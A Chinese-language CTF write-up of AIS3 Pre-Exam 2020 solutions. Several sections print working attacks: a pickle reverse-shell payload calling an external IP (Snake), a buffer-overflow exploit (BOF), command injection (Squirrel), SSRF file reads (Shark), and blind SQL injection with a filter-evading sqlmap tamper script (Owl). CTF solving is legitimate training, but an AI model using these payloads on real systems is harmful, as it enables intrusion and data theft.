AIS3 Pre-Exam 2020

Contents

1 ?Soy
2 ?TsaiBro
3 ?Fallen Beat
4 ?Snake
5 ?Elephant
6 ?Karuego
7 ?️Squirrel
8 ?Saburo
9 ? BOF
10 ?Shichirou
11 ?Piquero
12 ?Shark
13 ?Owl
14 ?Rhino
15 ? Brontosaurus
16 ? T-Rex

?Soy

破損的QR Code，慢慢手動修復 https://merricx.github.io/qrazybox/

弄到上面那樣後發現用網站的Extract QR Information掃不到東西，說缺失太多，就這樣在這裡又卡了好幾個小時

然後嘗試把圖片下載到電腦裡再重新上傳看看能不能看到消息

然後竟然出來了= =

Final Decoded string : AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!m

沒有讀取完整的樣子，不過有這些也可以猜了，Flag：

AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!}

?TsaiBro

也是去年的題目，拿去年的解法來跑，發現是亂碼，猜測是編碼表改了，IDA找新的編碼表換進去就可以了

#!/usr/bin/env python3

table = ['5','6','7','8','9','{','}','_','W','X','Y','0','y','z','A','B','a','b','c','d','m','n','o','p','S','T','U','V','G','H','I','J','K','L','M','N','u','v','w','x','e','f','g','h','q','r','s','t','i','j','k','l','O','P','Q','R','C','D','E','F','1','2','3','4']

f = open("./TsaiBroSaid","r").read().split('\n')[1]
f = f.split("發財")[1:]
for i in range(0,len(f),2):
    print(table[(len(f[i])-1)*8+len(f[i+1])-1],end='')

AIS3{y3s_y0u_h4ve_s4w_7h1s_ch4ll3ng3_bef0r3_bu7_its_m0r3_looooooooooooooooooong_7h1s_t1m3}

?Fallen Beat

試過把相關程式碼拿出來跑，但是出來結果是亂碼，只好用原版的在相關地方下斷點，把判斷改成true答案就出來了

AIS3{Wow_how_m4ny_h4nds_do_you_h4ve}

?Snake

from flask import Flask, Response, request
import pickle, base64, traceback

Response.default_mimetype = 'text/plain'

app = Flask(__name__)

@app.route("/")
def index():
    data = request.values.get('data')

    if data is not None:
        try:
            data = base64.b64decode(data)
            data = pickle.loads(data)

            if data and not data:
                return open('/flag').read()

            return str(data)
        except:
            return traceback.format_exc()

    return open(__file__).read()

Python的反序列化漏洞，第一次玩，研究一段時間後發現在py2.7用marshal可以RCE

import marshal
import base64

def foo():
    pass # Your code here

print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))

不過目標版本是py3，可以透過魔法函數__reduce__來RCE

import pickle
import os
import base64
class A(object):
    def __reduce__(self):
        a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.75.152.248",12854));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,))    
a=A()
result = base64.b64encode(pickle.dumps(a))
print(result)

AIS3{7h3_5n4k3_w1ll_4lw4y5_b173_b4ck.}

參考: https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

?Elephant

token:

Tzo0OiJVc2VyIjoyOntzOjQ6Im5hbWUiO3M6MzoiYXNkIjtzOjExOiIAVXNlcgB0b2tlbiI7czozMjoiOGU2OWMxM2MxNjhkOGY2ZjllODkzZTY1NzdlZDVkNDYiO30%3D

base64_decode發現usertoken是11位，有2個不可視字符，猜測是沒讀取到token，於是刪掉並改成9

Tzo0OiJVc2VyIjoyOntzOjQ6Im5hbWUiO3M6MzoiYXNkIjtzOjk6IlVzZXJ0b2tlbiI7czozMjoiOGU2OWMxM2MxNjhkOGY2ZjllODkzZTY1NzdlZDVkNDYiO30=

Hello, asd! This is your flag: AIS3{0nly_3l3ph4n75_5h0uld_0wn_1v0ry}

?Karuego

圖片有3MB 猜測是考隱寫

zip有密碼，用john爆一下

AIS3{Ar3_y0u_r34l1y_r34dy_t0_sumnn0n_4_D3m0n?}

?️Squirrel

<?php
header('Content-Type: application/json');
if ($file = @$_GET['get'])
{
    //$output = shell_exec("cat '$file'");
    echo "cat '$file'";
    if ($output !== null)
    {
        echo json_encode(['output' => $output]);
    }
    else
    {
        echo json_encode(['error' => 'cannot get file']);
    }
}
else
{
    echo json_encode(['error' => 'empty file path']);
}

https://squirrel.ais3.org/api.php?get=api.php';ls /'

{

    "output": "<?php\n\nheader('Content-Type: application/json');\n\nif ($file = @$_GET['get']) {\n    $output = shell_exec(\"cat '$file'\");\n    \n    if ($output !== null) {\n        echo json_encode([\n            'output' => $output\n        ]);\n    } else {\n        echo json_encode([\n            'error' => 'cannot get file'\n        ]);\n    }\n} else {\n    echo json_encode([\n        'error' => 'empty file path'\n    ]);\n}\n5qu1rr3l_15_4_k1nd_0f_b16_r47.txt\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"

}

https://squirrel.ais3.org/api.php?get=/5qu1rr3l_15_4_k1nd_0f_b16_r47.txt

{

    "output": "AIS3{5qu1rr3l_15_4_k1nd_0f_b16_r47}\n"

}

?Saburo

前面把題目想的太難了，一直在想時間要怎麼算，後來想到把每個值都跑一遍，時間最大的就是flag了，結果跑到十幾位的時候又更飄了=_=，後來每個字都跑10次取平均值就成功了

Timing Attack

from pwn import *

list = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!?-_{}@"
flag = ""
max = [0,0.0]
times = {}
avg_times = {}
while 1:
    for i in range(0,len(list)):
        times[list[i]] = []
        avg_times[list[i]] = 0.0
        for j in range(0, 10):
            r = remote('60.250.197.227',11001)
            r.send(flag + list[i] + '\r\n')
            opt = int(r.recvline().split(' ')[5])
            r.close()
            times[list[i]].append(opt)
        avg_times[list[i]] = sum(times[list[i]]) / float(10)
        print list[i] + ' Average time: ' + str(avg_times[list[i]])

        if max[1] > float(avg_times[list[i]]):
            pass
        else:
            max[0] = i
            max[1] = float(avg_times[list[i]])
        print 'Now max is: ' + list[max[0]] + ', times is :' + str(max[1])
    flag += list[max[0]]
    max = [0,0]
    print 'Flag: ' + flag
    if flag[len(flag)-1] == '}':
        break

AIS3{A1r1ght_U_4r3_my_3n3nnies}

? BOF

總感覺這次有些題目和去年很像，這題也看起來超像，然後我就拿去年官方解POC來打，就成功了@@

#!/usr/bin/env python
from pwn import *

context.arch = 'amd64'
host = '60.250.197.227'
y = remote( host , 10000 )
y.sendline( 'a' * 0x38 + p64( 0x40068b ) )
y.sendline( 'cat /home/`whoami`/flag' )
y.interactive()

AIS3{OLd_5ChOOl_tr1ck_T0_m4Ke_s7aCk_A116nmeNt}

?Shichirou

#!/usr/bin/env python3

import os
import sys
import tempfile
import subprocess
import resource

resource.setrlimit(resource.RLIMIT_FSIZE, (65536, 65536))
os.chdir(os.environ['HOME'])

size = int(sys.stdin.readline().rstrip('\r\n'))
if size > 65536:
    print('File is too large.')
    quit()

data = sys.stdin.read(size)
with tempfile.NamedTemporaryFile(mode='w+', suffix='.tar', delete=True, dir='.') as tarf:
    with tempfile.TemporaryDirectory(dir='.') as outdir:
        tarf.write(data)
        tarf.flush()
        try:
            subprocess.check_output(['/bin/tar', '-xf', tarf.name, '-C', outdir])
        except:
            print('Broken tar file.')
            raise

        try:
            a = subprocess.check_output(['/usr/bin/sha1sum', 'flag.txt'])
            b = subprocess.check_output(['/usr/bin/sha1sum', os.path.join(outdir, 'guess.txt')])
            a = a.split(b' ')[0]
            b = b.split(b' ')[0]
            assert len(a) == 40 and len(b) == 40
            if a != b:
                raise Exception('sha1')
        except:
            print('Different.')
            raise

        print(open('flag.txt', 'r').readline())

研究了好幾個小時，一直卡在sha1不相同，後來才想到新建一個symbolic link到flag.txt就可以了

題目一開始就os.chdir(os.environ['HOME']) 加上一堆raise ，可以很清楚知道flag的位置在/home/ctf/flag.txt

ln -s /home/ctf/flag.txt guess.txt

然後tar打包:

tar cvf 5.tar guess.txt

大小用ll可以看到，10240 Bytes

最後把資料都send過去

import socket
import subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('60.250.197.227', 11000))
s.sendall('10240\r\n')
a = subprocess.check_output(['cat', '5.tar'])
s.sendall(a)
s.shutdown(socket.SHUT_WR)
while 1:
    data = s.recv(1024)
    if data == "":
        break
    print "Received:", repr(data)
print "Connection closed."
s.close()

Received: 'AIS3{Bu223r!!!!_I_c4n_s33_e_v_e_r_y_th1ng!!}\n\n'
Connection closed.

?Piquero

I can’t see the flag. Where is it?

猜測是點字，但是第一個字就對不上，根據flag格式AIS3{}找網站能對上的

找到這個: https://www.mathsisfun.com/braille-translation.html

看了很久大概摸懂大小寫的規律，然後對照這張表慢慢試

AIS3{I_feel_sleepy_Good_Night!!!}

?Shark

<?php

    if ($path = @$_GET['path']) {
        if (preg_match('/^(\.|\/)/', $path)) {
            // disallow /path/like/this and ../this
            die('<pre>[forbidden]</pre>');
        }
        $content = @file_get_contents($path, FALSE, NULL, 0, 1000);
        die('<pre>' . ($content ? htmlentities($content) : '[empty]') . '</pre>');
    }

?><!DOCTYPE html>
<head>
    <title>???</title>
    <meta charset="utf-8">
</head>
<body>
    <h1>???</h1>
    <a href="?path=hint.txt">Shark never cries?</a>
</body>

過濾.或/開頭，直接用file://來讀hosts

https://shark.ais3.org/?path=file:///etc/hosts

127.0.0.1    localhost
::1    localhost ip6-localhost ip6-loopback
fe00::0    ip6-localnet
ff00::0    ip6-mcastprefix
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
172.22.0.3    0c1879a62a4d

burp掃一下172.22.0.0/24發現.2就是flag

https://shark.ais3.org/?path=http://172.22.0.2/flag

AIS3{5h4rk5_d0n'7_5w1m_b4ckw4rd5}

?Owl

看一整天眼睛就跟瞎了似的，沒注意到GUESS THE STUPID USERNAME / PASSWORD ，眼睛一直把STUPID忽略掉，瘋狂測試SQL Injection，後來看到就猜admin/admin，結果就登入了QQ

登入後看到source code:

<?php

    if (isset($_GET['source'])) {
        highlight_file(__FILE__);
        exit;
    }

    // Settings
    ini_set('display_errors', 1);
    ini_set('display_startup_errors', 1);
    error_reporting(E_ALL);
    date_default_timezone_set('Asia/Taipei');
    session_start();

    // CSRF
    if (!isset($_SESSION['csrf_key']))
        $_SESSION['csrf_key'] = md5(rand() * rand());
    require_once('csrf.php');
    $csrf = new Csrf($_SESSION['csrf_key']);

    if ($action = @$_GET['action']) {
        function redirect($path = '/', $message = null) {
            $alert = $message ? 'alert(' . json_encode($message) . ')' : '';
            $path = json_encode($path);
            die("<script>$alert; document.location.replace($path);</script>");
        }

        if ($action === 'logout') {
            unset($_SESSION['user']);
            redirect('/');
        }
        else if ($action === 'login') {
            // Validate CSRF token
            $token = @$_POST['csrf_token'];
            if (!$token || !$csrf->validate($token)) {
                redirect('/', 'invalid csrf_token');
            }

            // Check if username and password are given
            $username = @$_POST['username'];
            $password = @$_POST['password'];
            if (!$username || !$password) {
                redirect('/', 'username and password should not be empty');
            }

            // Get rid of sqlmap kiddies
            if (stripos($_SERVER['HTTP_USER_AGENT'], 'sqlmap') !== false) {
                redirect('/', "sqlmap is child's play");
            }

            // Get rid of you
            $bad = [' ', '/*', '*/', 'select', 'union', 'or', 'and', 'where', 'from', '--'];
            $username = str_ireplace($bad, '', $username);
            $username = str_ireplace($bad, '', $username);

            // Auth
            $hash = md5($password);
            $row = (new SQLite3('/db.sqlite3'))
                ->querySingle("SELECT * FROM users WHERE username = '$username' AND password = '$hash'", true);
            if (!$row) {
                redirect('/', 'login failed');
            }

            $_SESSION['user'] = $row['username'];
            redirect('/');
        }
        else {
            redirect('/', "unknown action: $action");
        }
    }

    $user = @$_SESSION['user'];

?><!DOCTYPE html>
<head>
    <title>????</title>
    <meta charset='utf-8'>
    <link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
    <script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
    <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
</head>
<body>
    <?php if (!$user): ?>
        <div id="login">
            <h3 class="text-center text-white pt-5">GUESS THE STUPID USERNAME / PASSWORD</h3>
            <div class="container">
                <div id="login-row" class="row justify-content-center align-items-center">
                    <div id="login-column" class="col-md-6">
                        <div id="login-box" class="col-md-12">
                            <form id="login-form" class="form" action="?action=login" method="post">
                                <input type="hidden" name="csrf_token" value="<?= htmlentities($csrf->generate()) ?>">
                                <h3 class="text-center text-info">?: "Login to see cool things!"</h3>
                                <div class="form-group">
                                    <label for="name" class="text-info">Username:</label><br>
                                    <input type="text" name="username" id="username" class="form-control"><br>
                                    <label for="name" class="text-info">Password:</label><br>
                                    <input type="text" name="password" id="password" class="form-control"><br>
                                </div>
                                <div class="form-group">
                                    <input type="submit" name="submit" class="btn btn-info btn-md" value="Login">
                                </div>
                            </form>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    <?php else: ?>
        <h3 class="text-center text-white pt-5"><a style="color: white" href="/?source">SHOW HINT</a></h3>
        <div class="container">
            <div class="row justify-content-center align-items-center">
                <div class="col-md-6">
                    <div class="col-md-12">
                        <h3 class="text-center text-info">Nothing</h3>
                        Hello, <b><?= htmlentities($user) ?></b>, nothing here.
                        <a href="?action=logout">Logout!</a>
                    </div>
                </div>
            </div>
        </div>
    <?php endif ?>
</body>

關鍵部分:

$bad = [' ', '/*', '*/', 'select', 'union', 'or', 'and', 'where', 'from', '--'];
$username = str_ireplace($bad, '', $username);
$username = str_ireplace($bad, '', $username);

吃掉2次= = ，難怪前面測試的時候一直失敗，當時只有嘗試selselectect而已…

' '      --> %0a
select   --> ssselectelectelect
union    --> uuunionnionnion
or       --> |
and      --> aaandndnd
where    --> wwwhereherehere
from     --> fffromromrom

知道規則就可以跑flag了:

table數量有2個:

username=owl' | 1=(case%0awhen ((SsselectelectELECT%0acount(tbl_name)%0aFffromromROM%0asqlite_master%0aWwwherehereHERE%0atype='table'%0aaaandndnd%0atbl_name%0aNOT%0alike%0a'sqlite_%'%0a)%0a<%0a3) then%0araaandndndomblob(100000000/2)%0aelse%0a0%0aend)|'&password=a&csrf_token=cUHhtzCRslSH3x789RKNtho/BXp/8Ju9ZIIJwYqUbP3Tt4Hhk51MKCi8ScRO1BUX22vXGUlGiQZIh0Gm1pBBgg==&submit=Login

一個是users忽略不看，另一個table長度是7(可能是flag表)

username=owl' | 1=(case%0awhen ((SsselectelectELECT%0alength(tbl_name)%0aFffromromROM%0asqlite_master%0aWwwherehereHERE%0atype='table'%0aaaandndnd%0atbl_name%0anot%0alike%0a'sqlite_%'%0alimit%0a1%0aoffset%0a1)=7) then%0araaandndndomblob(100000000/2)%0aelse%0a0%0aend)|'&password=a&csrf_token=cUHhtzCRslSH3x789RKNtho/BXp/8Ju9ZIIJwYqUbP3Tt4Hhk51MKCi8ScRO1BUX22vXGUlGiQZIh0Gm1pBBgg==&submit=Login

table name是garbage，難怪一堆人說這題超嘲諷

手動跑了一下table的結構，g開頭的是在offset 2

username=owl'%0a|%0a1=(case%0awhen%0a((SSSELECTELECTELECT%0ahex(substr(sql,14,1))%0aFFFROMROMROM%0asqlite_master%0aWWWHEREHEREHERE%0atype='table'%0alimit%0a1%0aoffset%0a2)%0a=%0ahex('g'))%0athen%0araaandndndomblob(100000000/4)%0aelse%0a0%0aend)|'&password=a&csrf_token=mkEOGp4tDsPzoKcUqNlmEGIUAq9izaHnmmmXLBjzXCDE6Nn5uF%2bWwqeKFrTopGZcsSZ54FDKCH9%2bE7%2b1e27eww%3d%3d&submit=Login

CREATE TABLE garbage ( id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT,value TEXT )

然後就是手工慢慢跑資料出來(我以為數據很少…)

username=owl'%0a|%0a1=(case%0awhen%0a((SSSELECTELECTELECT%0ahex(substr(value,58,1))%0aFFFROMROMROM%0agarbage%0alimit%0a1%0aoffset%0a2)%0a=%0ahex('}'))%0athen%0araaandndndomblob(100000000/4)%0aelse%0a0%0aend)|'&password=a&csrf_token=nx6xANg7JIojXTyPJ9tjfF5hrbRi81F%2fJTxkxn2YBIa3djJ6wEsDr6lUFPu0y2XrZf70LFuZyD6lGjlSQvql3g%3d%3d&submit=Login

TABLE: garbage
COLUMN: value
DATA:
sqlmap is for child
who starts selling weeds
this is the flag: AIS3{4_ch1ld_15_4_curly_d1mpl3d_lun471c}

賽後寫⼀個tamper讓sqlmap跑⼀遍

#!/usr/bin/env python
import random
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    blanks = ('%0A','%0A')
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += random.choice(blanks)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += random.choice(blanks)
                continue

            retVal += payload[i]


    retVal = retVal.replace("AND", "AAANDNDND")
    retVal = retVal.replace("OR", "|")
    retVal = retVal.replace("SELECT", "SSSELECTELECTELECT")
    retVal = retVal.replace("UNION", "UUUNIONNIONNION")
    retVal = retVal.replace("WHERE", "WWWHEREHEREHERE")
    retVal = retVal.replace("FROM", "FFFROMROMROM")
    retVal = retVal.replace("500000000", "50000000")
    return retVal

python sqlmap.py -r r.txt --batch --random-agent --tamper=ais3 -v 3 --proxy=http://127.0.0.1:8080 --force-ssl --db ms=sqlite

?Rhino

nodejs環境，看了下 https://rhino.ais3.org/package.json

發現server端的程式碼 https://rhino.ais3.org/chill.js

const express = require('express');
const session = require('cookie-session');

let app = express();

app.use(session({
  secret: "I'm watching you."
}));

app.use('/', express.static('./'));

app.get('/flag.txt', (req, res) => {
  res.setHeader('Content-Type', 'text/plain');

  let n = req.session.magic;

  if (n && (n + 420) === 420)
    res.sendFile('/flag');
  else
    res.send('you are a sad person too');
});

app.get('*', function(req, res){
  res.status(404).sendFile('404.html', { root: __dirname });
});

app.listen(process.env.PORT, '0.0.0.0');

要n !=0 且 n + 420 == 420，我也是第一次做nodejs的題目，什麼都不會，直接在虛擬機安裝express來試試看。

看到require了cookie-session 去Github看文檔 https://github.com/expressjs/cookie-session

猜應該是用題目的secret去偽造n的值:

req.session.magic = '0';

但是print出來n + 420變成0420，所以要先轉成number才可以:

req.session.magic = Number('0');

好了，已經滿足一半的條件了，但是n又不能為0，否則又返回False

就開始測試了，首先想到的就是浮點數的處理常常會忽略掉小數，測試結果是成立的:

0.00001 同時滿足True，加上420還是等於420，接下來就是把本地的cookie丟到題目上就可以拿到Flag了

AIS3{h4v3_y0u_r34d_7h3_rh1n0_b00k?}

? Brontosaurus

FuckJS，直接放在console執行就好了

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AIS3{Br0n7Os4uru5_ch3at_3asi1Y}

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%       E       3       C       7       P       N

&       U       Z       8       R       D       O

&$ !# $# @% { %$ #! $& %# &% &% @@ $# %# !& $& !& !@ _ $& @% $$ _ @$ !# !! @% _ #! @@ !& _ $# && #@ !% %$ ## !# &% @$ _ $& &$ &% %& && #@ _ !@ %$ %& %! $$ &# !# !! &% @% ## $% !% !& @! #& && %& !% %$ %# %$ @% ## %@ @@ $% ## !& #% %! %@ &@ %! &@ %$ $# ## %# !$ &% @% !% !& $& &% %# %@ #$ !# && !& #! %! ## #$ @! #% !! $! $& @& %% @@ && #& @% @! @# #@ @@ @& !@ %@ !# !# $# $! !@ &$ $@ !! @! &# @$ &! &# $! @@ &@ !% #% #! &@ &$ @@ &$ &! !& #! !# ## %$ !# !# %$ &! !# @# ## @@ $! $$ %# %$ @% @& $! &! !$ $# #$ $& #@ %@ @$ !% %& %! @% #% $! !! #$ &# ## &# && $& !! !% $! @& !% &@ !& $! @# !@ !& @$ $% #& #$ %@ %% %% &! $# !# $& #@ &! !# @! !@ @@ @@ ## !@ $@ !& $# %& %% !# !! $& !$ $% !! @$ @& !& &@ #$ && @% $& $& !% &! && &@ &% @$ &% &$ &@ $$ }

static void Main(string[] args)
        {
            string[,] aa = new string[7, 6]
            {
                {"V","F","Y","J","6","1"},
                {"5","0","M","2","9","L"},
                {"I","W","H","S","4","Q"},
                {"K","G","B","X","T","A"},
                {"E","3","C","7","P","N"},
                {"U","Z","8","R","D","O"},
                {"{","}","_","","",""}
            };
            string[,] a = new string[7, 6]
            {
                {"V","5","I","K","E","U"},
                {"F","0","W","G","3","Z"},
                {"Y","M","H","B","C","8"},
                {"J","2","S","X","7","R"},
                {"6","9","4","T","P","D"},
                {"1","L","Q","A","N","O"},
                {"{","}","_","","",""}
            };
            string output = "";
            output += a[5, 3];
            output += a[0, 2];
            output += a[3, 2];
            output += a[1, 4];
            output += a[6, 0];
            output += a[4, 3];
            output += a[2, 0];
            output += a[3, 5];
            output += a[4, 2];
            output += a[5, 4];
            output += a[5, 4];
            output += a[1, 1];
            output += a[3, 2];
            output += a[4, 2];
            output += a[0, 5];
            output += a[3, 5];
            output += a[0, 5];
            output += a[0, 1];
            output += a[6, 2];
            output += a[3, 5];
            output += a[1, 4];
            output += a[3, 3];
            output += a[6, 2];
            output += a[1, 3];
            output += a[0, 2];
            output += a[0, 0];
            output += a[1, 4];
            output += a[6, 2];
            output += a[2, 0];
            output += a[1, 1];
            output += a[0, 5];
            output += a[6, 2];
            output += a[3, 2];
            output += a[5, 5];
            output += a[2, 1];
            output += a[0, 4];
            output += a[4, 3];
            output += a[2, 2];
            output += a[0, 2];
            output += a[5, 4];
            output += a[1, 3];
            output += a[6, 2];
            output += a[3, 5];
            output += a[5, 3];
            output += a[5, 4];
            output += a[4, 5];
            output += a[5, 5];
            output += a[2, 1];
            output += a[6, 2];
            output += a[0, 1];
            output += a[4, 3];
            output += a[4, 5];
            output += a[4, 0];
            output += a[3, 3];
            output += a[5, 2];
            output += a[0, 2];
            output += a[0, 0];
            output += a[5, 4];
            output += a[1, 4];
            output += a[2, 2];
            output += a[3, 4];
            output += a[0, 4];
            output += a[0, 5];
            output += a[1, 0];
            output += a[2, 5];
            output += a[5, 5];
            output += a[4, 5];
            output += a[0, 4];
            output += a[4, 3];
            output += a[4, 2];
            output += a[4, 3];
            output += a[1, 4];
            output += a[2, 2];
            output += a[4, 1];
            output += a[1, 1];
            output += a[3, 4];
            output += a[2, 2];
            output += a[0, 5];
            output += a[2, 4];
            output += a[4, 0];
            output += a[4, 1];
            output += a[5, 1];
            output += a[4, 0];
            output += a[5, 1];
            output += a[4, 3];
            output += a[3, 2];
            output += a[2, 2];
            output += a[4, 2];
            output += a[0, 3];
            output += a[5, 4];
            output += a[1, 4];
            output += a[0, 4];
            output += a[0, 5];
            output += a[3, 5];
            output += a[5, 4];
            output += a[4, 2];
            output += a[4, 1];
            output += a[2, 3];
            output += a[0, 2];
            output += a[5, 5];
            output += a[0, 5];
            output += a[2, 0];
            output += a[4, 0];
            output += a[2, 2];
            output += a[2, 3];
            output += a[1, 0];
            output += a[2, 4];
            output += a[0, 0];
            output += a[3, 0];
            output += a[3, 5];
            output += a[1, 5];
            output += a[4, 4];
            output += a[1, 1];
            output += a[5, 5];
            output += a[2, 5];
            output += a[1, 4];
            output += a[1, 0];
            output += a[1, 2];
            output += a[2, 1];
            output += a[1, 1];
            output += a[1, 5];
            output += a[0, 1];
            output += a[4, 1];
            output += a[0, 2];
            output += a[0, 2];
            output += a[3, 2];
            output += a[3, 0];
            output += a[0, 1];
            output += a[5, 3];
            output += a[3, 1];
            output += a[0, 0];
            output += a[1, 0];
            output += a[5, 2];
            output += a[1, 3];
            output += a[5, 0];
            output += a[5, 2];
            output += a[3, 0];
            output += a[1, 1];
            output += a[5, 1];
            output += a[0, 4];
            output += a[2, 4];
            output += a[2, 0];
            output += a[5, 1];
            output += a[5, 3];
            output += a[1, 1];
            output += a[5, 3];
            output += a[5, 0];
            output += a[0, 5];
            output += a[2, 0];
            output += a[0, 2];
            output += a[2, 2];
            output += a[4, 3];
            output += a[0, 2];
            output += a[0, 2];
            output += a[4, 3];
            output += a[5, 0];
            output += a[0, 2];
            output += a[1, 2];
            output += a[2, 2];
            output += a[1, 1];
            output += a[3, 0];
            output += a[3, 3];
            output += a[4, 2];
            output += a[4, 3];
            output += a[1, 4];
            output += a[1, 5];
            output += a[3, 0];
            output += a[5, 0];
            output += a[0, 3];
            output += a[3, 2];
            output += a[2, 3];
            output += a[3, 5];
            output += a[2, 1];
            output += a[4, 1];
            output += a[1, 3];
            output += a[0, 4];
            output += a[4, 5];
            output += a[4, 0];
            output += a[1, 4];
            output += a[2, 4];
            output += a[3, 0];
            output += a[0, 0];
            output += a[2, 3];
            output += a[5, 2];
            output += a[2, 2];
            output += a[5, 2];
            output += a[5, 5];
            output += a[3, 5];
            output += a[0, 0];
            output += a[0, 4];
            output += a[3, 0];
            output += a[1, 5];
            output += a[0, 4];
            output += a[5, 1];
            output += a[0, 5];
            output += a[3, 0];
            output += a[1, 2];
            output += a[0, 1];
            output += a[0, 5];
            output += a[1, 3];
            output += a[3, 4];
            output += a[2, 5];
            output += a[2, 3];
            output += a[4, 1];
            output += a[4, 4];
            output += a[4, 4];
            output += a[5, 0];
            output += a[3, 2];
            output += a[0, 2];
            output += a[3, 5];
            output += a[2, 1];
            output += a[5, 0];
            output += a[0, 2];
            output += a[1, 0];
            output += a[0, 1];
            output += a[1, 1];
            output += a[1, 1];
            output += a[2, 2];
            output += a[0, 1];
            output += a[3, 1];
            output += a[0, 5];
            output += a[3, 2];
            output += a[4, 5];
            output += a[4, 4];
            output += a[0, 2];
            output += a[0, 0];
            output += a[3, 5];
            output += a[0, 3];
            output += a[3, 4];
            output += a[0, 0];
            output += a[1, 3];
            output += a[1, 5];
            output += a[0, 5];
            output += a[5, 1];
            output += a[2, 3];
            output += a[5, 5];
            output += a[1, 4];
            output += a[3, 5];
            output += a[3, 5];
            output += a[0, 4];
            output += a[5, 0];
            output += a[5, 5];
            output += a[5, 1];
            output += a[5, 4];
            output += a[1, 3];
            output += a[5, 4];
            output += a[5, 3];
            output += a[5, 1];
            output += a[3, 3];
            output += a[6, 1];
            Console.WriteLine(output);
            Console.ReadKey();

        }

一開始看歪了，寫錯index，後來重新弄一個表才查出來

AIS3{TYR4NN0S4URU5_R3X_GIV3_Y0U_SOMETHING_RANDOM_5TD6XQIVN3H7EUF8ODET4T3H907HUC69L6LTSH4KN3EURN49BIOUY6HBFCVJRZP0O83FWM0Z59IISJ5A2VFQG1QJ0LECYLA0A1UYIHTIIT1IWH0JX4T3ZJ1KSBRM9GED63CJVBQHQORVEJZELUJW5UG78B9PP1SIRM1IF500H52USDPIVRK7VGZULBO3RRE1OLNGNALX}